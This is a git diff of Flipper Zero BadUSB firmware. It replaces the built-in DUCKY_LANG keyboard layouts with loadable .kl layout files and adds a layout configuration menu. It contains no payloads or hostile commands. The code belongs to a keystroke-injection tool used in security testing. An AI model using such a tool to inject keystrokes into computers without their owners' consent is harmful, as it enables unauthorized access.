@@ -254,8 +258,8 @@ static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line, const uint } else if(strncmp(line_tmp, ducky_cmd_id, strlen(ducky_cmd_id)) == 0) { // ID - executed in ducky_script_preload return (0); - } else if(strncmp(line_tmp, ducky_cmd_layout, strlen(ducky_cmd_layout)) == 0) { - // DUCKY_LANG - executed in ducky_script_preload + } else if(strncmp(line_tmp, ducky_cmd_lang, strlen(ducky_cmd_lang)) == 0) { + // DUCKY_LANG - ignore command to retain compatibility with existing scripts return (0); } else if(strncmp(line_tmp, ducky_cmd_delay, strlen(ducky_cmd_delay)) == 0) { // DELAY @@ -276,7 +280,7 @@ static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line, const uint } else if(strncmp(line_tmp, ducky_cmd_string, strlen(ducky_cmd_string)) == 0) { // STRING line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - state = ducky_string(line_tmp, layout); + state = ducky_string(bad_usb, line_tmp); return (state) ? (0) : SCRIPT_STATE_ERROR; } else if(strncmp(line_tmp, ducky_cmd_altchar, strlen(ducky_cmd_altchar)) == 0) { // ALTCHAR @@ -299,12 +303,12 @@ static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line, const uint return (state) ? (0) : SCRIPT_STATE_ERROR; } else { // Special keys + modifiers - uint16_t key = ducky_get_keycode(line_tmp, false, layout); + uint16_t key = ducky_get_keycode(bad_usb, line_tmp, false); if(key == HID_KEYBOARD_NONE) return SCRIPT_STATE_ERROR; if((key & 0xFF00) != 0) { // It's a modifier key line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1]; - key |= ducky_get_keycode(line_tmp, true, layout); + key |= ducky_get_keycode(bad_usb, line_tmp, true); } furi_hal_hid_kb_press(key); furi_hal_hid_kb_release(key); @@ -313,21 +317,6 @@ static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line, const uint return SCRIPT_STATE_ERROR; } -static uint16_t ducky_get_layout(const char* line) { - uint16_t layout = 0; - if(strcmp(line, "US") == 0) { - layout = 0; - } else if(strcmp(line, "DE") == 0) { - layout = 1; - } else if(strcmp(line, "FR") == 0) { - layout = 2; - } else if(strcmp(line, "HU") == 0) { - layout = 3; - } - FURI_LOG_D(WORKER_TAG, "keyboard layout set: %hu", layout); - return layout; -} - static bool ducky_set_usb_id(BadUsbScript* bad_usb, const char* line) { if(sscanf(line, "%lX:%lX", &bad_usb->hid_cfg.vid, &bad_usb->hid_cfg.pid) == 2) { bad_usb->hid_cfg.manuf[0] = '\0'; @@ -353,12 +342,10 @@ static bool ducky_set_usb_id(BadUsbScript* bad_usb, const char* line) { return false; } -static uint16_t ducky_script_preload(BadUsbScript* bad_usb, File* script_file) { +static bool ducky_script_preload(BadUsbScript* bad_usb, File* script_file) { uint8_t ret = 0; uint32_t line_len = 0; - uint16_t layout = 0; - string_reset(bad_usb->line); do { @@ -383,11 +370,9 @@ static uint16_t ducky_script_preload(BadUsbScript* bad_usb, File* script_file) { } while(ret > 0); const char* line_tmp = string_get_cstr(bad_usb->line); - bool id_set = false; // Looking for ID or DUCKY_LANG command at first line + bool id_set = false; // Looking for ID command at first line if(strncmp(line_tmp, ducky_cmd_id, strlen(ducky_cmd_id)) == 0) { id_set = ducky_set_usb_id(bad_usb, &line_tmp[strlen(ducky_cmd_id) + 1]); - } else if(strncmp(line_tmp, ducky_cmd_layout, strlen(ducky_cmd_layout)) == 0) { - layout = ducky_get_layout(&line_tmp[strlen(ducky_cmd_layout) + 1]); } if(id_set) { @@ -399,16 +384,15 @@ static uint16_t ducky_script_preload(BadUsbScript* bad_usb, File* script_file) { storage_file_seek(script_file, 0, true); string_reset(bad_usb->line); - return layout; + return true; } -static int32_t - ducky_script_execute_next(BadUsbScript* bad_usb, File* script_file, const uint16_t layout) { +static int32_t ducky_script_execute_next(BadUsbScript* bad_usb, File* script_file) { int32_t delay_val = 0; if(bad_usb->repeat_cnt > 0) { bad_usb->repeat_cnt--; - delay_val = ducky_parse_line(bad_usb, bad_usb->line_prev, layout); + delay_val = ducky_parse_line(bad_usb, bad_usb->line_prev); if(delay_val == SCRIPT_STATE_NEXT_LINE) { // Empty line return 0; } else if(delay_val < 0) { // Script error @@ -442,7 +426,7 @@ static int32_t bad_usb->st.line_cur++; bad_usb->buf_len = bad_usb->buf_len + bad_usb->buf_start - (i + 1); bad_usb->buf_start = i + 1; - delay_val = ducky_parse_line(bad_usb, bad_usb->line, layout); + delay_val = ducky_parse_line(bad_usb, bad_usb->line); if(delay_val < 0) { bad_usb->st.error_line = bad_usb->st.line_cur; FURI_LOG_E(WORKER_TAG, "Unknown command at line %lu", bad_usb->st.line_cur); @@ -477,8 +461,6 @@ static int32_t bad_usb_worker(void* context) { BadUsbWorkerState worker_state = BadUsbStateInit; int32_t delay_val = 0; - uint16_t layout = 0; - FuriHalUsbInterface* usb_mode_prev = furi_hal_usb_get_config(); FURI_LOG_I(WORKER_TAG, "Init"); @@ -495,8 +477,7 @@ static int32_t bad_usb_worker(void* context) { string_get_cstr(bad_usb->file_path), FSAM_READ, FSOM_OPEN_EXISTING)) { - layout = ducky_script_preload(bad_usb, script_file); - if(bad_usb->st.line_nb > 0) { + if((ducky_script_preload(bad_usb, script_file)) && (bad_usb->st.line_nb > 0)) { if(furi_hal_hid_is_connected()) { worker_state = BadUsbStateIdle; // Ready to run } else { @@ -568,7 +549,7 @@ static int32_t bad_usb_worker(void* context) { continue; } bad_usb->st.state = BadUsbStateRunning; - delay_val = ducky_script_execute_next(bad_usb, script_file, layout); + delay_val = ducky_script_execute_next(bad_usb, script_file); if(delay_val == SCRIPT_STATE_ERROR) { // Script error delay_val = 0; worker_state = BadUsbStateScriptError; @@ -613,12 +594,19 @@ static int32_t bad_usb_worker(void* context) { return 0; } +static void bad_usb_script_set_default_keyboard_layout(BadUsbScript* bad_usb) { + furi_assert(bad_usb); + memset(bad_usb->layout, HID_KEYBOARD_NONE, sizeof(bad_usb->layout)); + memcpy(bad_usb->layout, hid_asciimap, MIN(sizeof(hid_asciimap), sizeof(bad_usb->layout))); +} + BadUsbScript* bad_usb_script_open(string_t file_path) { furi_assert(file_path); BadUsbScript* bad_usb = malloc(sizeof(BadUsbScript)); string_init(bad_usb->file_path); string_set(bad_usb->file_path, file_path); + bad_usb_script_set_default_keyboard_layout(bad_usb); bad_usb->st.state = BadUsbStateInit; @@ -641,6 +629,30 @@ void bad_usb_script_close(BadUsbScript* bad_usb) { free(bad_usb); } +void bad_usb_script_set_keyboard_layout(BadUsbScript* bad_usb, string_t layout_path) { + furi_assert(bad_usb); + + if((bad_usb->st.state == BadUsbStateRunning) || (bad_usb->st.state == BadUsbStateDelay)) { + // do not update keyboard layout while a script is running + return; + } + + File* layout_file = storage_file_alloc(furi_record_open(RECORD_STORAGE)); + if(!string_empty_p(layout_path)) { + if(storage_file_open( + layout_file, string_get_cstr(layout_path), FSAM_READ, FSOM_OPEN_EXISTING)) { + uint16_t layout[128]; + if(storage_file_read(layout_file, layout, sizeof(layout)) == sizeof(layout)) { + memcpy(bad_usb->layout, layout, sizeof(layout)); + } + } + storage_file_close(layout_file); + } else { + bad_usb_script_set_default_keyboard_layout(bad_usb); + } + storage_file_free(layout_file); +} + void bad_usb_script_toggle(BadUsbScript* bad_usb) { furi_assert(bad_usb); furi_thread_flags_set(furi_thread_get_id(bad_usb->thread), WorkerEvtToggle); @@ -649,4 +661,4 @@ void bad_usb_script_toggle(BadUsbScript* bad_usb) { BadUsbState* bad_usb_script_get_state(BadUsbScript* bad_usb) { furi_assert(bad_usb); return &(bad_usb->st); -} +} \ No newline at end of file diff --git a/applications/bad_usb/bad_usb_script.h b/applications/bad_usb/bad_usb_script.h index 88921de38..71066cb13 100644 --- a/applications/bad_usb/bad_usb_script.h +++ b/applications/bad_usb/bad_usb_script.h @@ -32,6 +32,8 @@ BadUsbScript* bad_usb_script_open(string_t file_path); void bad_usb_script_close(BadUsbScript* bad_usb); +void bad_usb_script_set_keyboard_layout(BadUsbScript* bad_usb, string_t layout_path); + void bad_usb_script_start(BadUsbScript* bad_usb); void bad_usb_script_stop(BadUsbScript* bad_usb); @@ -42,4 +44,4 @@ BadUsbState* bad_usb_script_get_state(BadUsbScript* bad_usb); #ifdef __cplusplus } -#endif +#endif \ No newline at end of file diff --git a/applications/bad_usb/bad_usb_settings_filename.h b/applications/bad_usb/bad_usb_settings_filename.h new file mode 100644 index 000000000..12ba8f31c --- /dev/null +++ b/applications/bad_usb/bad_usb_settings_filename.h @@ -0,0 +1,3 @@ +#pragma once + +#define BAD_USB_SETTINGS_FILE_NAME ".badusb.settings" diff --git a/applications/bad_usb/scenes/bad_usb_scene_config.c b/applications/bad_usb/scenes/bad_usb_scene_config.c new file mode 100644 index 000000000..2a9f2f76c --- /dev/null +++ b/applications/bad_usb/scenes/bad_usb_scene_config.c @@ -0,0 +1,53 @@ +#include "../bad_usb_app_i.h" +#include "furi_hal_power.h" +#include "furi_hal_usb.h" + +enum SubmenuIndex { + SubmenuIndexKeyboardLayout, +}; + +void bad_usb_scene_config_submenu_callback(void* context, uint32_t index) { + BadUsbApp* bad_usb = context; + view_dispatcher_send_custom_event(bad_usb->view_dispatcher, index); +} + +void bad_usb_scene_config_on_enter(void* context) { + BadUsbApp* bad_usb = context; + Submenu* submenu = bad_usb->submenu; + + submenu_add_item( + submenu, + "Keyboard layout", + SubmenuIndexKeyboardLayout, + bad_usb_scene_config_submenu_callback, + bad_usb); + + submenu_set_selected_item( + submenu, scene_manager_get_scene_state(bad_usb->scene_manager, BadUsbSceneConfig)); + + view_dispatcher_switch_to_view(bad_usb->view_dispatcher, BadUsbAppViewConfig); +} + +bool bad_usb_scene_config_on_event(void* context, SceneManagerEvent event) { + BadUsbApp* bad_usb = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + scene_manager_set_scene_state(bad_usb->scene_manager, BadUsbSceneConfig, event.event); + consumed = true; + if(event.event == SubmenuIndexKeyboardLayout) { + scene_manager_next_scene(bad_usb->scene_manager, BadUsbSceneConfigLayout); + } else { + furi_crash("Unknown key type"); + } + } + + return consumed; +} + +void bad_usb_scene_config_on_exit(void* context) { + BadUsbApp* bad_usb = context; + Submenu* submenu = bad_usb->submenu; + + submenu_reset(submenu); +} diff --git a/applications/bad_usb/scenes/bad_usb_scene_config.h b/applications/bad_usb/scenes/bad_usb_scene_config.h index 0ab8f54f8..423aedc51 100644 --- a/applications/bad_usb/scenes/bad_usb_scene_config.h +++ b/applications/bad_usb/scenes/bad_usb_scene_config.h @@ -1,3 +1,5 @@ ADD_SCENE(bad_usb, file_select, FileSelect) ADD_SCENE(bad_usb, work, Work) ADD_SCENE(bad_usb, error, Error) +ADD_SCENE(bad_usb, config, Config) +ADD_SCENE(bad_usb, config_layout, ConfigLayout) diff --git a/applications/bad_usb/scenes/bad_usb_scene_config_layout.c b/applications/bad_usb/scenes/bad_usb_scene_config_layout.c new file mode 100644 index 000000000..85dabba03 --- /dev/null +++ b/applications/bad_usb/scenes/bad_usb_scene_config_layout.c @@ -0,0 +1,50 @@ +#include "../bad_usb_app_i.h" +#include "furi_hal_power.h" +#include "furi_hal_usb.h" +#include + +static bool bad_usb_layout_select(BadUsbApp* bad_usb) { + furi_assert(bad_usb); + + string_t predefined_path; + string_init(predefined_path); + if(!string_empty_p(bad_usb->keyboard_layout)) { + string_set(predefined_path, bad_usb->keyboard_layout); + } else { + string_set_str(predefined_path, BAD_USB_APP_PATH_LAYOUT_FOLDER); + } + + // Input events and views are managed by file_browser + bool res = dialog_file_browser_show( + bad_usb->dialogs, + bad_usb->keyboard_layout, + predefined_path, + BAD_USB_APP_LAYOUT_EXTENSION, + true, + &I_keyboard_10px, + true); + + string_clear(predefined_path); + return res; +} + +void bad_usb_scene_config_layout_on_enter(void* context) { + BadUsbApp* bad_usb = context; + + if(bad_usb_layout_select(bad_usb)) { + bad_usb_script_set_keyboard_layout(bad_usb->bad_usb_script, bad_usb->keyboard_layout); + } + scene_manager_previous_scene(bad_usb->scene_manager); +} + +bool bad_usb_scene_config_layout_on_event(void* context, SceneManagerEvent event) { + UNUSED(context); + UNUSED(event); + // BadUsbApp* bad_usb = context; + return false; +} + +void bad_usb_scene_config_layout_on_exit(void* context) { + UNUSED(context); + // BadUsbApp* bad_usb = context; +} diff --git a/applications/bad_usb/scenes/bad_usb_scene_file_select.c b/applications/bad_usb/scenes/bad_usb_scene_file_select.c index 1e6ba895a..66d981976 100644 --- a/applications/bad_usb/scenes/bad_usb_scene_file_select.c +++ b/applications/bad_usb/scenes/bad_usb_scene_file_select.c @@ -10,7 +10,7 @@ static bool bad_usb_file_select(BadUsbApp* bad_usb) { bad_usb->dialogs, bad_usb->file_path, bad_usb->file_path, - BAD_USB_APP_EXTENSION, + BAD_USB_APP_SCRIPT_EXTENSION, true, &I_badusb_10px, true); @@ -22,12 +22,18 @@ void bad_usb_scene_file_select_on_enter(void* context) { BadUsbApp* bad_usb = context; furi_hal_usb_disable(); + if(bad_usb->bad_usb_script) { + bad_usb_script_close(bad_usb->bad_usb_script); + bad_usb->bad_usb_script = NULL; + } if(bad_usb_file_select(bad_usb)) { + bad_usb->bad_usb_script = bad_usb_script_open(bad_usb->file_path); + bad_usb_script_set_keyboard_layout(bad_usb->bad_usb_script, bad_usb->keyboard_layout); + scene_manager_next_scene(bad_usb->scene_manager, BadUsbSceneWork); } else { furi_hal_usb_enable(); - //scene_manager_previous_scene(bad_usb->scene_manager); view_dispatcher_stop(bad_usb->view_dispatcher); } } diff --git a/applications/bad_usb/scenes/bad_usb_scene_work.c b/applications/bad_usb/scenes/bad_usb_scene_work.c index 516cbde3a..ee081e237 100644 --- a/applications/bad_usb/scenes/bad_usb_scene_work.c +++ b/applications/bad_usb/scenes/bad_usb_scene_work.c @@ -5,10 +5,10 @@ #include "m-string.h" #include "toolbox/path.h" -void bad_usb_scene_work_ok_callback(InputType type, void* context) { +void bad_usb_scene_work_button_callback(InputKey key, void* context) { furi_assert(context); BadUsbApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, type); + view_dispatcher_send_custom_event(app->view_dispatcher, key); } bool bad_usb_scene_work_on_event(void* context, SceneManagerEvent event) { @@ -16,8 +16,13 @@ bool bad_usb_scene_work_on_event(void* context, SceneManagerEvent event) { bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { - bad_usb_script_toggle(app->bad_usb_script); - consumed = true; + if(event.event == InputKeyLeft) { + scene_manager_next_scene(app->scene_manager, BadUsbSceneConfig); + consumed = true; + } else if(event.event == InputKeyOk) { + bad_usb_script_toggle(app->bad_usb_script); + consumed = true; + } } else if(event.type == SceneManagerEventTypeTick) { bad_usb_set_state(app->bad_usb_view, bad_usb_script_get_state(app->bad_usb_script)); } @@ -29,20 +34,16 @@ void bad_usb_scene_work_on_enter(void* context) { string_t file_name; string_init(file_name); - path_extract_filename(app->file_path, file_name, true); bad_usb_set_file_name(app->bad_usb_view, string_get_cstr(file_name)); - app->bad_usb_script = bad_usb_script_open(app->file_path); - string_clear(file_name); bad_usb_set_state(app->bad_usb_view, bad_usb_script_get_state(app->bad_usb_script)); - bad_usb_set_ok_callback(app->bad_usb_view, bad_usb_scene_work_ok_callback, app); + bad_usb_set_button_callback(app->bad_usb_view, bad_usb_scene_work_button_callback, app); view_dispatcher_switch_to_view(app->view_dispatcher, BadUsbAppViewWork); } void bad_usb_scene_work_on_exit(void* context) { - BadUsbApp* app = context; - bad_usb_script_close(app->bad_usb_script); + UNUSED(context); } diff --git a/applications/bad_usb/views/bad_usb_view.c b/applications/bad_usb/views/bad_usb_view.c index 0679669f6..397e51138 100644 --- a/applications/bad_usb/views/bad_usb_view.c +++ b/applications/bad_usb/views/bad_usb_view.c @@ -6,7 +6,7 @@ struct BadUsb { View* view; - BadUsbOkCallback callback; + BadUsbButtonCallback callback; void* context; }; @@ -34,6 +34,10 @@ static void bad_usb_draw_callback(Canvas* canvas, void* _model) { elements_button_center(canvas, "Stop"); } + if((model->state.state == BadUsbStateNotConnected) || (model->state.state == BadUsbStateIdle) || (model->state.state == BadUsbStateDone)) { + elements_button_left(canvas, "Config"); + } + if(model->state.state == BadUsbStateNotConnected) { canvas_draw_icon(canvas, 4, 22, &I_Clock_18x18); canvas_set_font(canvas, FontPrimary); @@ -106,10 +110,10 @@ static bool bad_usb_input_callback(InputEvent* event, void* context) { bool consumed = false; if(event->type == InputTypeShort) { - if(event->key == InputKeyOk) { + if((event->key == InputKeyLeft) || (event->key == InputKeyOk)) { consumed = true; furi_assert(bad_usb->callback); - bad_usb->callback(InputTypeShort, bad_usb->context); + bad_usb->callback(event->key, bad_usb->context); } } @@ -139,7 +143,7 @@ View* bad_usb_get_view(BadUsb* bad_usb) { return bad_usb->view; } -void bad_usb_set_ok_callback(BadUsb* bad_usb, BadUsbOkCallback callback, void* context) { +void bad_usb_set_button_callback(BadUsb* bad_usb, BadUsbButtonCallback callback, void* context) { furi_assert(bad_usb); furi_assert(callback); with_view_model( diff --git a/applications/bad_usb/views/bad_usb_view.h b/applications/bad_usb/views/bad_usb_view.h index 80a47e2ca..a8570fb57 100755 --- a/applications/bad_usb/views/bad_usb_view.h +++ b/applications/bad_usb/views/bad_usb_view.h @@ -4,7 +4,7 @@ #include "../bad_usb_script.h" typedef struct BadUsb BadUsb; -typedef void (*BadUsbOkCallback)(InputType type, void* context); +typedef void (*BadUsbButtonCallback)(InputKey key, void* context); BadUsb* bad_usb_alloc(); @@ -12,7 +12,7 @@ void bad_usb_free(BadUsb* bad_usb); View* bad_usb_get_view(BadUsb* bad_usb); -void bad_usb_set_ok_callback(BadUsb* bad_usb, BadUsbOkCallback callback, void* context); +void bad_usb_set_button_callback(BadUsb* bad_usb, BadUsbButtonCallback callback, void* context); void bad_usb_set_file_name(BadUsb* bad_usb, const char* name); diff --git a/assets/icons/Archive/keyboard_10px.png b/assets/icons/Archive/keyboard_10px.png new file mode 100644 index 0000000000000000000000000000000000000000..74a10e6db2e784486a6781c0db8346373b9c7409 GIT binary patch literal 147 zcmeAS@N?(olHy`uVBq!ia0vp^AT}2xGmzZ=C-xtZVhivIasB`QKad%E=yDy9;wgN=z( mnGc5;aHhO3XW%q4U|?wcz_Hx?k)a$=ErX}4pUXO@geCyYPARJZ literal 0 HcmV?d00001 diff --git a/assets/resources/Manifest b/assets/resources/Manifest index f29df45be..9ab32f3f6 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1659115697 +T:1659542137 D:badusb D:dolphin D:infrared @@ -8,8 +8,25 @@ D:nfc D:subghz D:u2f D:unirf -F:0e41ba26498b7511d7c9e6e6b5e3b149:1592:badusb/demo_macos.txt -F:e538ad2ce5a06ec45e1b5b24824901b1:1552:badusb/demo_windows.txt +D:badusb/layouts +D:badusb/scripts +F:1139810f61ec7f8c8fe0398d92578b31:256:badusb/layouts/da-DA.kl +F:13504463372b269bd102c68725921d90:256:badusb/layouts/de-CH.kl +F:f392e25a23f50691b5a37e67845dec76:256:badusb/layouts/de-DE.kl +F:3ebf32c26e9fc2fea04e54e0a871a04d:256:badusb/layouts/dvorak.kl +F:f81bb6483d684619dcfca99b3a876a8b:256:badusb/layouts/en-UK.kl +F:19885317532889775ea80dbd9da7ae28:256:badusb/layouts/en-US.kl +F:0dc2c0ddd692efb3a319d430206daac6:256:badusb/layouts/es-ES.kl +F:d301c08df0fc3e1ddc0e015cff6066ee:256:badusb/layouts/fr-BE.kl +F:13504463372b269bd102c68725921d90:256:badusb/layouts/fr-CH.kl +F:4535dd8ef77ff9fc03f1d669af68fa5d:256:badusb/layouts/fr-FR.kl +F:0d971f10fc8f3d373604f3b19ebf9251:256:badusb/layouts/hu-HU.kl +F:66564950e0bbfb4cc1d847ce3ab28b24:256:badusb/layouts/it-IT.kl +F:fe381203fa06318e0dc05c8c2efdc609:256:badusb/layouts/nl-NL.kl +F:d939c563da44f227786350b6e467c155:256:badusb/layouts/pt-PT.kl +F:b62d559209e0d450b4d77f76e29ec1be:256:badusb/layouts/sv-SE.kl +F:0e41ba26498b7511d7c9e6e6b5e3b149:1592:badusb/scripts/demo_macos.txt +F:e538ad2ce5a06ec45e1b5b24824901b1:1552:badusb/scripts/demo_windows.txt D:dolphin/L1_Boxing_128x64 D:dolphin/L1_Cry_128x64 D:dolphin/L1_Furippa1_128x64 diff --git a/assets/resources/badusb/layouts/da-DA.kl b/assets/resources/badusb/layouts/da-DA.kl new file mode 100644 index 0000000000000000000000000000000000000000..b3fcc6a9928ead4c3ff20176b7bfde83e03692a0 GIT binary patch literal 256 zcmaLLH*x|26u?l8hMaSTWnlw@4Fe5O{=@A3&)}NI>Ym`cD?ePm*T4GZVB*m| zTln^pGi$gvZr&YZh&>B_Ym yx9;4VM-@dp{CKxUod!)>wCT{LN1p*hMvR#-WyYKZOIEDeuw}=dEbdXpBj69fFAeVi literal 0 HcmV?d00001 diff --git a/assets/resources/badusb/layouts/de-CH.kl b/assets/resources/badusb/layouts/de-CH.kl new file mode 100644 index 0000000000000000000000000000000000000000..1704bc9dbaae9fcc90213cb33b0132bca1b71866 GIT binary patch literal 256 zcmaLLH;%#p6adlDh@5i<8!$oa;st31l>ack{~4%hnC=aHcHxKf=lZH&ZYHL2XXoB4 z2al$1eDLB)=7|jnDO+~z$vAN2>BEAPg;$d(S+-);nspmCZP~VC*PeX`4jnmm;?$XQ z7cO19@-K?GMb69I5@jk>sZpmvlNN0{bm`G&z>pDRCQO+zXTg#+EB+&kd*lIc##;^x literal 0 HcmV?d00001 diff --git a/assets/resources/badusb/layouts/de-DE.kl b/assets/resources/badusb/layouts/de-DE.kl new file mode 100644 index 0000000000000000000000000000000000000000..67b05c042f1649ab6aa17c4d369b096c88ec2785 GIT binary patch literal 256 zcmaLLHx9y30KiboqW2Pd4WuBN!ay1SVRHX7Ftgz88Gbu+;q<%y>dMxg4`L4uK0?Afwu&6#5(8&;hd+qL7+fvJ5TwhjIGHgM$E s3wH`~pT4NjqeYV%GsZ+Ts4^j@ONSu?Qu;h-6Y}9rz=$sw?-ss^@Y|jPyWjO!M`q5wk-2p3gN<8r z&%QYE=EIg5a~5PQS+OQ(!`(YC&%FKkuw>baRci*;Z5Z0LW!sLCv58$%d-feTbmZ8H tQ!f-;S$XnFi82+c)Cj24Af!o)HXR~j61t@H=rdr*h%pnUTr9kL6TT^X3*7(! literal 0 HcmV?d00001 diff --git a/assets/resources/badusb/layouts/en-US.kl b/assets/resources/badusb/layouts/en-US.kl new file mode 100644 index 0000000000000000000000000000000000000000..8089d8257881765fe67691a206b6bf6e9cb2c97d GIT binary patch literal 256 zcmaLL#}dH+007aQ9YGK+QKLn)QG!wb|I3_nvA4HS?#PKldHvOyg-=&zuHE=#=iaS_ zZ!UcJvS-1P6&Y)CHf-7P@WI=Hk6)Ko46ItSZfL`%EhF1@?Ao($Y~sM7BgamhnmTjt sl{+_bFTSV{P^CtlkOoa!M6~J9rAMEbgaJcFjF~VcWyYMVcW=Ig9}}MoYybcN literal 0 HcmV?d00001 diff --git a/assets/resources/badusb/layouts/es-ES.kl b/assets/resources/badusb/layouts/es-ES.kl new file mode 100644 index 0000000000000000000000000000000000000000..15e9d7997c3f5178982fe212b5341f09469486bc GIT binary patch literal 256 zcmaLLH;%#p6adlDh@5lA#$@e+Y@}VF{DLgOx;B0)}2=l z9xW`m^W?$a6A39BGPdm4bKuCsyDv_@yqZSIvK6b=tlO|@%eEc6_Ut=w=*Y1Xr_P+a zaOujmdHhEaxleOSl&MgqMx6#tTD0lVrAMCuLq?35FlEM^1xr?}`HLiOkp;W~w>u5X literal 0 HcmV?d00001 diff --git a/assets/resources/badusb/layouts/fr-BE.kl b/assets/resources/badusb/layouts/fr-BE.kl new file mode 100644 index 0000000000000000000000000000000000000000..ea9e553e894a470639ee48648a386898ed5cfa67 GIT binary patch literal 256 zcmaLLNm9Z96adk#F6Mcj2}uy4P%#!3Wcd%1`=7xz8+-Q}Uc2(a<#qk5PfnzyQSfU* zM$Q+7r6X=Ue0nzVU}|RW(Kk=N`{Y4IN#)2x%&gn6Y0I`9yY}omaOmB!6Q|akyKw2s zwR^Yj+?YodMSOGfCuY=X(4ack{~4%hnC=aHcHxKf=lZH&ZYHL2XXoB4 z2al$1eDLB)=7|jnDO+~z$vAN2>BEAPg;$d(S+-);nspmCZP~VC*PeX`4jnmm;?$XQ z7cO19@-K?GMb69I5@jk>sZpmvlNN0{bm`G&z>pDRCQO+zXTg#+EB+&kd*lIc##;^x literal 0 HcmV?d00001 diff --git a/assets/resources/badusb/layouts/fr-FR.kl b/assets/resources/badusb/layouts/fr-FR.kl new file mode 100644 index 0000000000000000000000000000000000000000..f9193297e58722fd4f1547cb9ef62474beb2487b GIT binary patch literal 256 zcmaLLH*Nv}6adlDh@5i{8(2U#EVi(~}3$%7XqF9)7tV%3^;8#Zm(wqw_xeeVt(Ikw`|nR6E| z-MV(;$}Ebw#*KnQOsG<$PJ<>b+H~mBqtBfoBgRyiGGoqyC0o{PSdm5^W$Xj~0L-fm A_W%F@ literal 0 HcmV?d00001 diff --git a/assets/resources/badusb/layouts/hu-HU.kl b/assets/resources/badusb/layouts/hu-HU.kl new file mode 100644 index 0000000000000000000000000000000000000000..90a68e328686d6ef6aaec4d390d9b4992eb6ce0e GIT binary patch literal 256 zcmaLLyK;g66adkk9Z|s-C_X?zRCF>)x=fVv{{L5{w#jy9;k{43_;_Fc>YIyakMR>% z$I*KC;Silq2439!rR7Y=g)29D?mT$;j68aqcv{8C#IX~nre@BZyKw2s+`_dROSkUa zd$6+hXyeH=%E+RN!9GSLjF~VcC1b{%1xr@s6s*}$vSr7f0~Iw#8crlpM-gqnA2aL@ AGynhq literal 0 HcmV?d00001 diff --git a/assets/resources/badusb/layouts/it-IT.kl b/assets/resources/badusb/layouts/it-IT.kl new file mode 100644 index 0000000000000000000000000000000000000000..059e428808a07b26d0da37d7f37d5d8d4614365b GIT binary patch literal 256 zcmaKnw++Go0KhCO)P&wbCv;IGQOAf|`2PmP$bvU}GyJk+&-OR{wF48UUbDox3y-W^ zo0@Xx$%CaECQO-;FlWJ%6>A>eeY5fH(MuMXGjGA7CCi3JR;*gHZo{T6+ji{QGq&%* yp(Dqhvm0r4@+k!5$Wx$5i83J(6{^&z)1XOb+H~j=&?BVJfFUEsOqeobPMlv%@{{ldJ?{*0 literal 0 HcmV?d00001 diff --git a/assets/resources/badusb/layouts/pt-PT.kl b/assets/resources/badusb/layouts/pt-PT.kl new file mode 100644 index 0000000000000000000000000000000000000000..02450419a81dabed1546692928fdbf78c74c9f9c GIT binary patch literal 256 zcmaKnHx9x;0KhDZP(tsWP*M;@z(5)AG5r4xu(III-VDDSII{muf9=G|#I+l@?mUy3 zd-1}97f(_PRwS(1uw_R|M$XfRZwlX@O+v}YvK6b=jIGJB+m2m(_8mBMwCT{LN1p*hMvR#-WyYKZOIEDeuw}=dG^!}#7VrkLXASNE literal 0 HcmV?d00001 diff --git a/assets/resources/badusb/demo_macos.txt b/assets/resources/badusb/scripts/demo_macos.txt similarity index 100% rename from assets/resources/badusb/demo_macos.txt rename to assets/resources/badusb/scripts/demo_macos.txt diff --git a/assets/resources/badusb/demo_windows.txt b/assets/resources/badusb/scripts/demo_windows.txt similarity index 100% rename from assets/resources/badusb/demo_windows.txt rename to assets/resources/badusb/scripts/demo_windows.txt diff --git a/documentation/BadUSBLayouts.md b/documentation/BadUSBLayouts.md deleted file mode 100644 index 455fc094b..000000000 --- a/documentation/BadUSBLayouts.md +++ /dev/null @@ -1,17 +0,0 @@ - -# BadUSB support for different layouts: - -## Author: [v1nc](https://github.com/v1nc/flipperzero-firmware) - -This firmware supports the `DUCKY_LANG` keyword to change the keyboard layout. - -Add `DUCKY_LANG DE` to the first(!!!) line of the script to choose the layout. -Currently implemented: -* `US` = US (default) -* `DE` = German QWERTZ -* `FR` = AZERTY (based on [this](https://github.com/ikazeer/flipperzero-AZERTY)) -* `HU` = Hungarian QWERTZ - -**If you are writing payloads on windows you need to make sure EOL Conversion is set to LF Unix in your text editor and not windows CR LF. If you do not it will fail to run the payload.** - -## How to add your own layout: [instruction](https://github.com/v1nc/flipperzero-firmware/blob/dev/documentation/HowToAddLayout.md) \ No newline at end of file diff --git a/firmware/targets/furi_hal_include/furi_hal_usb_hid.h b/firmware/targets/furi_hal_include/furi_hal_usb_hid.h index 7a36965bd..f7c0fde22 100644 --- a/firmware/targets/furi_hal_include/furi_hal_usb_hid.h +++ b/firmware/targets/furi_hal_include/furi_hal_usb_hid.h @@ -21,7 +21,7 @@ enum HidKeyboardMods { KEY_MOD_RIGHT_GUI = (1 << 15), }; -/** ASCII to keycode conversion table US */ +/** ASCII to keycode conversion table */ static const uint16_t hid_asciimap[] = { HID_KEYBOARD_NONE, // NUL HID_KEYBOARD_NONE, // SOH @@ -153,714 +153,6 @@ static const uint16_t hid_asciimap[] = { HID_KEYBOARD_NONE, // DEL }; -/** HID keyboard key codes DE */ -enum HidKeyboardKeysDE { - HID_KEYBOARD_DE_ERROR_ROLLOVER = 0x01, - HID_KEYBOARD_DE_POST_FAIL = 0x02, - HID_KEYBOARD_DE_ERROR_UNDEFINED = 0x03, - - HID_KEYBOARD_DE_ENTER = 0x28, - HID_KEYBOARD_DE_ESC = 0x29, - HID_KEYBOARD_DE_BACKSPACE = 0x2A, - HID_KEYBOARD_DE_TAB = 0x2B, - HID_KEYBOARD_DE_SPACE = 0x2C, - - HID_KEYBOARD_DE_A = 0x04, - HID_KEYBOARD_DE_B = 0x05, - HID_KEYBOARD_DE_C = 0x06, - HID_KEYBOARD_DE_D = 0x07, - HID_KEYBOARD_DE_E = 0x08, - HID_KEYBOARD_DE_F = 0x09, - 